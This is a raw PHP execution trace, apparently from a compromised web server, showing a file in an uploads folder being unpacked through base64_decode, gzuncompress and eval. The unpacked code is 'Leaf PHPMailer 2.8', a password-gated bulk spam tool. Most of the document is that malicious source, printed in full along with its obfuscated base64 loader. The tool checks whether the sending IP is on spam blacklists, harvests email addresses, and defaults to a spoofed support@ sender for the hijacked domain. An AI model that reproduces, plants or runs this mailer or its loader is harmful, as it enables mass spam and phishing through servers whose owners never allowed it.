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\')));'	/var/www/html/uploads/ridsaexnlu.php	291	0
3	112	0	0.010411	602664	base64_decode	0		/var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code	1	1	'eJztfXl/2zbS8N/bT8Go7lJKdPjIVcdy4tjOxu86iWs77e5je1VKoi02EqmSVGz3eD/7OwcAAiRISY67x/Oufm0skcBgMAAGg8EcX32V+EkSRGEvSb04rTdefOXHcRT3Yn8axWkQXtVX4Vnip700mPi9cTAJUnoUhEEPHtdrE38Sxbf8ptZsrcG7r1bGvnd55n72Y4TtXnRr6+3ntRfy+bXfT4LUx+f4YOIFYz9uT6+hBNQVGA2ioe90ncnwSb3Xe3NwuN/rYbOX9Qf+ZJre1lemXpJcR/Gw4Xjh0FnpneyfnBx8eH+mA7hwHnSdrOSvXznwCS6depAg8iu94/3vPu6fnJ65WMa9kLByj52uDsVhMPgpa1Ur/oIK/07/+uPE12pP4yBMndrWNPYdbxxchd2BH6Z+vL11GcUTZ+Kno2jYnUZJun0koG06W0E4naVOejv1u65sxHVCbyJ+u9tGkWTWh5Fxnc/eeAY/t7fhfQfhwx9oeLv2QuHj3wTpC/lD'
3	112	1	0.010684	655944
3	112	R			'x}y6ORJtUr:k;c{UJ-6\022Tlx?;\a\000\002$HI~m,`0\000\006\034_}I\022Da/I87^|q\024b\032i\020^WY⧽4q0\tRz\024A\017\036k\023\022ŷlVƾwy~c^tk\027O`\005c?nO\004\025\030\rtI{spa\adW^\\GxY쟜\034|x\003p\036t_9\t.z +>Xƽr\016a0)kU+\nNjO L4\035o\034\\݁\037~u\031\023g⧣h؝FI}$m:[A8Nz;luBo"~Fdևqx\006?}\a\037hxB\004\vCWj\\0h8J|(_}u9'
3	113	0	0.011606	655912	gzuncompress	0		/var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code	1	1	'x}y6ORJtUr:k;c{UJ-6\022Tlx?;\a\000\002$HI~m,`0\000\006\034_}I\022Da/I87^|q\024b\032i\020^WY⧽4q0\tRz\024A\017\036k\023\022ŷlVƾwy~c^tk\027O`\005c?nO\004\025\030\rtI{spa\adW^\\GxY쟜\034|x\003p\036t_9\t.z +>Xƽr\016a0)kU+\nNjO L4\035o\034\\݁\037~u\031\023g⧣h؝FI}$m:[A8Nz;luBo"~Fdևqx\006?}\a\037hxB\004\vCWj\\0h8J|(_}u9'
3	113	1	0.013189	823880
3	113	R			'\n\nsession_start();\nerror_reporting(0);\nset_time_limit(0);\nini_set("memory_limit",-1);\n\n$leaf[\'version\']="2.8";\n$leaf[\'website\']="leafmailer.pw";\n\n\n$sessioncode = md5(__FILE__);\nif(!empty($password) and $_SESSION[$sessioncode] != $password){\n    if (isset($_REQUEST[\'pass\']) and $_REQUEST[\'pass\'] == $password) {\n        $_SESSION[$sessioncode] = $password;\n    }\n    else {\n        print "<pre align=center><form method=post>Password: <input type=\'password\' name=\'pass\'><input type=\'
3	114	0	0.017836	1440648	eval	1	'\n\nsession_start();\nerror_reporting(0);\nset_time_limit(0);\nini_set("memory_limit",-1);\n\n$leaf[\'version\']="2.8";\n$leaf[\'website\']="leafmailer.pw";\n\n\n$sessioncode = md5(__FILE__);\nif(!empty($password) and $_SESSION[$sessioncode] != $password){\n    if (isset($_REQUEST[\'pass\']) and $_REQUEST[\'pass\'] == $password) {\n        $_SESSION[$sessioncode] = $password;\n    }\n    else {\n        print "<pre align=center><form method=post>Password: <input type=\'password\' name=\'pass\'><input type=\'submit\' value=\'>>\'></form></pre>";\n        exit;        \n    }\n}\n\nsession_write_close();\n\n\nfunction leafClear($text,$email){\n\t$e = explode(\'@\', $email);\n\t$emailuser=$e[0];\n\t$emaildomain=$e[1];\n    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);\n    $text = str_replace("[-email-]", $email, $text);\n    $text = str_replace("[-emailuser-]", $emailuser, $text);\n    $text = str_replace("[-emaildomain-]", $emaildomain, $text);\n    $text = str_replace("[-randomletters-]", randString(\'abcdefghijklmnopqrstuvwxyz\'), $text);\n    $text = str_replace("[-randomstring-]", randString(\'abcdefghijklmnopqrstuvwxyz0123456789\'), $text);\n    $text = str_replace("[-randomnumber-]", randString(\'0123456789\'), $text);\n    $text = str_replace("[-randommd5-]", md5(randString(\'abcdefghijklmnopqrstuvwxyz0123456789\')), $text);\n    return $text;  \n}\nfunction leafTrim($string){\n\t$string=urldecode($string);\n    return stripslashes(trim($string));\n}\nfunction randString($consonants) {\n    $length=rand(12,25);\n    $password = \'\';\n    for ($i = 0; $i < $length; $i++) {\n            $password .= $consonants[(rand() % strlen($consonants))];\n    }\n    return $password;\n}\nfunction leafMailCheck($email){\n    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;\n    else return false;\n}\n# Bulit-in BlackList Checker \nif(isset($_GET[\'check_ip\'])){\n    if (isset($_GET[\'host\'])){\n        $_GET[\'host\']=explode(",", $_GET[\'host\']);\n        foreach ($_GET[\'host\'] as $host) {\n            if (checkdnsrr($_GET[\'check_ip\'] . "." .  $host . ".", "A")) $check= "<font color=\'red\'> Listed</font>";\n            else $check= "<font color=\'green\'> Clean</font>";\n            print \'document.getElementById("\'. $host.\'").innerHTML = "\'.$check.\'";\';\n        }\n\n        exit;\n    }\n    $dnsbl_lookup = [\n        "all.s5h.net",\n        "b.barracudacentral.org",\n        "bl.spamcop.net",\n        "blacklist.woody.ch",\n        "bogons.cymru.com",\n        "cbl.abuseat.org",\n        "cdl.anti-spam.org.cn",\n        "combined.abuse.ch",\n        "db.wpbl.info",\n        "dnsbl-1.uceprotect.net",\n        "dnsbl-2.uceprotect.net",\n        "dnsbl-3.uceprotect.net",\n        "dnsbl.anticaptcha.net",\n        "dnsbl.dronebl.org",\n        "dnsbl.inps.de",\n        "dnsbl.sorbs.net",\n        "drone.abuse.ch",\n        "duinv.aupads.org",\n        "dul.dnsbl.sorbs.net",\n        "dyna.spamrats.com",\n        "dynip.rothen.com",\n        "http.dnsbl.sorbs.net",\n        "ips.backscatterer.org",\n        "ix.dnsbl.manitu.net",\n        "korea.services.net",\n        "misc.dnsbl.sorbs.net",\n        "noptr.spamrats.com",\n        "orvedb.aupads.org",\n        "pbl.spamhaus.org",\n        "proxy.bl.gweep.ca",\n        "psbl.surriel.com",\n        "relays.bl.gweep.ca",\n        "relays.nether.net",\n        "sbl.spamhaus.org",\n        "short.rbl.jp",\n        "singular.ttk.pte.hu",\n        "smtp.dnsbl.sorbs.net",\n        "socks.dnsbl.sorbs.net",\n        "spam.abuse.ch",\n        "spam.dnsbl.anonmails.de",\n        "spam.dnsbl.sorbs.net",\n        "spam.spamrats.com",\n        "spambot.bls.digibase.ca",\n        "spamrbl.imp.ch",\n        "spamsources.fabel.dk",\n        "ubl.lashback.com",\n        "ubl.unsubscore.com",\n        "virus.rbl.jp",\n        "web.dnsbl.sorbs.net",\n        "wormrbl.imp.ch",\n        "xbl.spamhaus.org",\n        "z.mailspike.net",\n        "zen.spamhaus.org",\n        "zombie.dnsbl.sorbs.net",\n    ];\n    $reverse_ip = implode(".", array_reverse(explode(".", $_GET[\'check_ip\'])));\n    $dnsT = count($dnsbl_lookup);\n    leafheader();\n    print \'<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>\';\n    Print "Checking <b>".$_GET[\'check_ip\']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";\n    $dnsN="";\n    print \'<table >\';\n    for ($i=0; $i < $dnsT; $i=$i+10) { \n        $host="";\n        $hosts="";\n        for($j=$i; $j<$i+10;$j++){\n            $host=$dnsbl_lookup[$j];\n            if(!empty($host)){\n                print "<tr> <td>$host</td> <td id=\'$host\'>Checking ..</td></tr>";\n                $hosts .="$host,";\n            }\n        }\n        $dnsN.="<script src=\'?check_ip=$reverse_ip&host=".$hosts."\' type=\'text/javascript\'></script>";\n    }\n\n    print \'</table></div>\';\n    print $dnsN;\n    exit;\n}\nif(isset($_GET[\'emailfilter\'])){\n\n    if(!empty($_FILES[\'fileToUpload\'][\'tmp_name\'])){\n        $_POST[\'emailList\']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); \n    }\n    $_POST[\'emailList\']=strtolower($_POST[\'emailList\']);\n   if($_GET[\'emailfilter\']=="ifram"){\n        if ($_POST[\'resulttype\'] == "download"){\n            header("Content-Description: File Transfer"); \n            header("Content-Type: application/octet-stream"); \n            header("Content-Disposition: attachment; filename=emails".time().".txt");\n        }\n        else {\n            header("Content-Type: text/plain");\n        }\n    if($_POST[\'submit\']=="extract"){\n        $pattern = \'/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,4}/\';\n        preg_match_all($pattern, $_POST[\'emailList\'], $matches);\n        foreach ($matches[0] as $email) {\n            print $email."\\n";\n        }\n    }\n    elseif ($_POST[\'submit\']=="filter") {\n        $emails=explode("\\n", $_POST[\'emailList\']);\n        $keywords=explode("\\n", strtolower($_POST[\'keywords\']));\n        foreach ($emails as $email) {\n            foreach ($keywords as $keyword ) {\n                if(strstr($email, $keyword) ){\n                    print $email."\\n";\n                     break;\n                }\n               \n            }\n        }\n\n    }\n    exit;\n   }\n   leafheader();\n   print \'<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>\';\n   print \'\n    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\\\'\\\'>\n        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> \n        or\n\n        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>\n      <div class="col-lg-12">\n        <div class="radio">\n          <label>\n            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">\n            Show Result in this page\n          </label>\n        </div>\n        <div class="radio">\n          <label>\n            <input type="radio" name="resulttype" id="resulttype" value="download">\n            Download Result (for big numbers)\n          </label>\n        </div>\n      </div>\n            <legend><h4>Extract Email</h4></legend>\n            Detecting every email (100%) and order them line by line <br><br>\n        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>\n            <legend><h4>Filter Emails</h4></legend>\n        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com\nhotmail.com\nyahoo.com\n.co.uk</textarea><br>\n\n            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>\n    </form>\n    <label >Result </label>\n    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>\n   \';\n   exit;\n\n}\n$html="checked";\n$utf8="selected";\n$bit8="selected";\n\nif($_POST[\'action\']=="send" or $_POST[\'action\']=="score"){\n\n    $senderEmail=leafTrim($_POST[\'senderEmail\']);\n    $senderName=leafTrim($_POST[\'senderName\']);\n    $replyTo=leafTrim($_POST[\'replyTo\']);\n    $subject=leafTrim($_POST[\'subject\']);\n    $emailList=leafTrim($_POST[\'emailList\']);\n    $messageType=leafTrim($_POST[\'messageType\']);\n    $messageLetter=leafTrim($_POST[\'messageLetter\']);\n    $encoding = $_POST[\'encode\'];\n    $charset = $_POST[\'charset\'];\n    $html="";\n    $utf8="";\n    $bit8="";\n\n    if($messageType==2) $plain="checked";\n    else $html="checked";\n\n    if($charset=="ISO-8859-1") $iso="selected";\n    else $utf8="selected";\n\n    if($encoding=="7bit") $bit7="selected";\n    elseif($encoding=="binary") $binary="selected";\n    elseif($encoding=="base64") $base64="selected";\n    elseif($encoding=="quoted-printable") $quotedprintable="selected";\n    else $bit8="selected";\n\n\n\n}\nif($_POST[\'action\']=="view"){\n\t$viewMessage=leafTrim($_POST[\'messageLetter\']);\n\t$viewMessage=leafClear($viewMessage,"user@domain.com");\n\tif ($_POST[\'messageType\']==2){\n\t\tprint "<pre>".htmlspecialchars($viewMessage)."</pre>";\n\t}\n\telse {\n\t\tprint $viewMessage;\n\t}\n\texit;\n}\n\n\n\nif(!isset($_POST[\'senderEmail\'])){\n    $senderEmail="support@".str_replace("www.", "", $_SERVER[\'HTTP_HOST\']);\n    if (!leafMailCheck($senderEmail)) $senderEmail="";\n}\n\nclass PHPMailer\n{\n    /**\n     * The PHPMailer Version number.\n     * @var string\n     */\n    public $Version = \'5.2.28\';\n\n    /**\n     * Email priority.\n     * Options: null (default), 1 = High, 3 = Normal, 5 = low.\n     * When null, the header is not set at all.\n     * @var integer\n     */\n    public $Priority = null;\n\n    /**\n     * The character set of the message.\n     * @var string\n     */\n    public $CharSet = \'iso-8859-1\';\n\n    /**\n     * The MIME Content-type of the message.\n     * @var string\n     */\n    public $ContentType = \'text/plain\';\n\n    /**\n     * The message encoding.\n     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".\n     * @var string\n     */\n    public $Encoding = \'8bit\';\n\n    /**\n     * Holds the most recent mailer error message.\n     * @var string\n     */\n    public $ErrorInfo = \'\';\n\n    /**\n     * The From email address for the message.\n     * @var string\n     */\n    public $From = \'root@localhost\';\n\n    /**\n     * The From name of the message.\n     * @var string\n     */\n    public $FromName = \'Root User\';\n\n    /**\n     * The Sender email (Return-Path) of the message.\n     * If not empty, will be sent via -f to sendmail or as \'MAIL FROM\' in smtp mode.\n     * @var string\n     */\n    public $Sender = \'\';\n\n    /**\n     * The Return-Path of the message.\n     * If empty, it will be set to either From or Sender.\n     * @var string\n     * @deprecated Email senders should never set a return-path header;\n     * it\'s the receiver\'s job (RFC5321 section 4.4), so this no longer does anything.\n     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference\n     */\n    public $ReturnPath = \'\';\n\n    /**\n     * The Subject of the message.\n     * @var string\n     */\n    public $Subject = \'\';\n\n    /**\n     * An HTML or plain text message body.\n     * If HTML then call isHTML(true).\n     * @var string\n     */\n    public $Body = \'\';\n\n    /**\n     * The plain-text message body.\n     * This body can be read by mail clients that do not have HTML email\n     * capability such as mutt & Eudora.\n     * Clients that can read HTML will view the normal Body.\n     * @var string\n     */\n    public $AltBody = \'\';\n\n    /**\n     * An iCal message part body.\n     * Only supported in simple alt or alt_inline message types\n     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator\n     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/\n     * @link http://kigkonsult.se/iCalcreator/\n     * @var string\n     */\n    public $Ical = \'\';\n\n    /**\n     * The complete compiled MIME message body.\n     * @access protected\n     * @var string\n     */\n    protected $MIMEBody = \'\';\n\n    /**\n     * The complete compiled MIME message headers.\n     * @var string\n     * @access protected\n     */\n    protected $MIMEHeader = \'\';\n\n    /**\n     * Extra headers that createHeader() doesn\'t fold in.\n     * @var string\n     * @access protected\n     */\n    protected $mailHeader = \'\';\n\n    /**\n     * Word-wrap the message body to this number of chars.\n     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.\n     * @var integer\n     */\n    public $WordWrap = 0;\n\n    /**\n     * Which method to use to send mail.\n     * Options: "mail", "sendmail", or "smtp".\n     * @var string\n     */\n    public $Mailer = \'mail\';\n\n    /**\n     * The path to the sendmail program.\n     * @var string\n     */\n    public $Sendmail = \'/usr/sbin/sendmail\';\n\n    /**\n     * Whether mail() uses a fully sendmail-compatible MTA.\n     * One which supports sendmail\'s "-oi -f" options.\n     * @var boolean\n     */\n    public $UseSendmailOptions = true;\n\n    /**\n     * Path to PHPMailer plugins.\n     * Useful if the SMTP class is not in the PHP include path.\n     * @var string\n     * @deprecated Should not be needed now there is an autoloader.\n     */\n    public $PluginDir = \'\';\n\n    /**\n     * The email address that a reading confirmation should be sent to, also known as read receipt.\n     * @var string\n     */\n    public $ConfirmReadingTo = \'\';\n\n    /**\n     * The hostname to use in the Message-ID header and as default HELO string.\n     * If empty, PHPMailer attempts to find one with, in order,\n     * $_SERVER[\'SERVER_NAME\'], gethostname(), php_uname(\'n\'), or the value\n     * \'localhost.localdomain\'.\n     * @var string\n     */\n    public $Hostname = \'\';\n\n    /**\n     * An ID to be used in the Message-ID header.\n     * If empty, a unique id will be generated.\n     * You can set your own, but it must be in the format "<id@domain>",\n     * as defined in RFC5322 section 3.6.4 or it will be ignored.\n     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4\n     * @var string\n     */\n    public $MessageID = \'\';\n\n    /**\n     * The message Date to be used in the Date header.\n     * If empty, the current date will be added.\n     * @var string\n     */\n    public $MessageDate = \'\';\n\n    /**\n     * SMTP hosts.\n     * Either a single hostname or multiple semicolon-delimited hostnames.\n     * You can also specify a different port\n     * for each host by using this format: [hostname:port]\n     * (e.g. "smtp1.example.com:25;smtp2.example.com").\n     * You can also specify encryption type, for example:\n     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").\n     * Hosts will be tried in order.\n     * @var string\n     */\n    public $Host = \'localhost\';\n\n    /**\n     * The default SMTP server port.\n     * @var integer\n     * @TODO Why is this needed when the SMTP class takes care of it?\n     */\n    public $Port = 25;\n\n    /**\n     * The SMTP HELO of the message.\n     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find\n     * one with the same method described above for $Hostname.\n     * @var string\n     * @see PHPMailer::$Hostname\n     */\n    public $Helo = \'\';\n\n    /**\n     * What kind of encryption to use on the SMTP connection.\n     * Options: \'\', \'ssl\' or \'tls\'\n     * @var string\n     */\n    public $SMTPSecure = \'\';\n\n    /**\n     * Whether to enable TLS encryption automatically if a server supports it,\n     * even if `SMTPSecure` is not set to \'tls\'.\n     * Be aware that in PHP >= 5.6 this requires that the server\'s certificates are valid.\n     * @var boolean\n     */\n    public $SMTPAutoTLS = true;\n\n    /**\n     * Whether to use SMTP authentication.\n     * Uses the Username and Password properties.\n     * @var boolean\n     * @see PHPMailer::$Username\n     * @see PHPMailer::$Password\n     */\n    public $SMTPAuth = false;\n\n    /**\n     * Options array passed to stream_context_create when connecting via SMTP.\n     * @var array\n     */\n    public $SMTPOptions = array();\n\n    /**\n     * SMTP username.\n     * @var string\n     */\n    public $Username = \'\';\n\n    /**\n     * SMTP password.\n     * @var string\n     */\n    public $Password = \'\';\n\n    /**\n     * SMTP auth type.\n     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified\n     * @var string\n     */\n    public $AuthType = \'\';\n\n    /**\n     * SMTP realm.\n     * Used for NTLM auth\n     * @var string\n     */\n    public $Realm = \'\';\n\n    /**\n     * SMTP workstation.\n     * Used for NTLM auth\n     * @var string\n     */\n    public $Workstation = \'\';\n\n    /**\n     * The SMTP server timeout in seconds.\n     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2\n     * @var integer\n     */\n    public $Timeout = 300;\n\n    /**\n     * SMTP class debug output mode.\n     * Debug output level.\n     * Options:\n     * * `0` No output\n     * * `1` Commands\n     * * `2` Data and commands\n     * * `3` As 2 plus connection status\n     * * `4` Low-level data output\n     * @var integer\n     * @see SMTP::$do_debug\n     */\n    public $SMTPDebug = 0;\n\n    /**\n     * How to handle debug output.\n     * Options:\n     * * `echo` Output plain-text as-is, appropriate for CLI\n     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output\n     * * `error_log` Output to error log as configured in php.ini\n     *\n     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:\n     * <code>\n     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};\n     * </code>\n     * @var string|callable\n     * @see SMTP::$Debugoutput\n     */\n    public $Debugoutput = \'echo\';\n\n    /**\n     * Whether to keep SMTP connection open after each message.\n     * If this is set to true then to close the connection\n     * requires an explicit call to smtpClose().\n     * @var boolean\n     */\n    public $SMTPKeepAlive = false;\n\n    /**\n     * Whether to split multiple to addresses into multiple messages\n     * or send them all in one message.\n     * Only supported in `mail` and `sendmail` transports, not in SMTP.\n     * @var boolean\n     */\n    public $SingleTo = false;\n\n    /**\n     * Storage for addresses when SingleTo is enabled.\n     * @var array\n     * @TODO This should really not be public\n     */\n    public $SingleToArray = array();\n\n    /**\n     * Whether to generate VERP addresses on send.\n     * Only applicable when sending via SMTP.\n     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path\n     * @link http://www.postfix.org/VERP_README.html Postfix VERP info\n     * @var boolean\n     */\n    public $do_verp = false;\n\n    /**\n     * Whether to allow sending messages with an empty body.\n     * @var boolean\n     */\n    public $AllowEmpty = false;\n\n    /**\n     * The default line ending.\n     * @note The default remains "\\n". We force CRLF where we know\n     *        it must be used via self::CRLF.\n     * @var string\n     */\n    public $LE = "\\n";\n\n    /**\n     * DKIM selector.\n     * @var string\n     */\n    public $DKIM_selector = \'\';\n\n    /**\n     * DKIM Identity.\n     * Usually the email address used as the source of the email.\n     * @var string\n     */\n    public $DKIM_identity = \'\';\n\n    /**\n     * DKIM passphrase.\n     * Used if your key is encrypted.\n     * @var string\n     */\n    public $DKIM_passphrase = \'\';\n\n    /**\n     * DKIM signing domain name.\n     * @example \'example.com\'\n     * @var string\n     */\n    public $DKIM_domain = \'\';\n\n    /**\n     * DKIM private key file path.\n     * @var string\n     */\n    public $DKIM_private = \'\';\n\n    /**\n     * DKIM private key string.\n     * If set, takes precedence over `$DKIM_private`.\n     * @var string\n     */\n    public $DKIM_private_string = \'\';\n\n    /**\n     * Callback Action function name.\n     *\n     * The function that handles the result of the send email action.\n     * It is called out by send() for each email sent.\n     *\n     * Value can be any php callable: http://www.php.net/is_callable\n     *\n     * Parameters:\n     *   boolean $result        result of the send action\n     *   array   $to            email addresses of the recipients\n     *   array   $cc            cc email addresses\n     *   array   $bcc           bcc email addresses\n     *   string  $subject       the subject\n     *   string  $body          the email body\n     *   string  $from          email address of sender\n     * @var string\n     */\n    public $action_function = \'\';\n\n    /**\n     * What to put in the X-Mailer header.\n     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use\n     * @var string\n     */\n    public $XMailer = \' \';\n\n    /**\n     * Which validator to use by default when validating email addresses.\n     * May be a callable to inject your own validator, but there are several built-in validators.\n     * @see PHPMailer::validateAddress()\n     * @var string|callable\n     * @static\n     */\n    public static $validator = \'auto\';\n\n    /**\n     * An instance of the SMTP sender class.\n     * @var SMTP\n     * @access protected\n     */\n    protected $smtp = null;\n\n    /**\n     * The array of \'to\' names and addresses.\n     * @var array\n     * @access protected\n     */\n    protected $to = array();\n\n    /**\n     * The array of \'cc\' names and addresses.\n     * @var array\n     * @access protected\n     */\n    protected $cc = array();\n\n    /**\n     * The array of \'bcc\' names and addresses.\n     * @var array\n     * @access protected\n     */\n    protected $bcc = array();\n\n    /**\n     * The array of reply-to names and addresses.\n     * @var array\n     * @access protected\n     */\n    protected $ReplyTo = array();\n\n    /**\n     * An array of all kinds of addresses.\n     * Includes all of $to, $cc, $bcc\n     * @var array\n     * @access protected\n     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n     */\n    protected $all_recipients = array();\n\n    /**\n     * An array of names and addresses queued for validation.\n     * In send(), valid and non duplicate 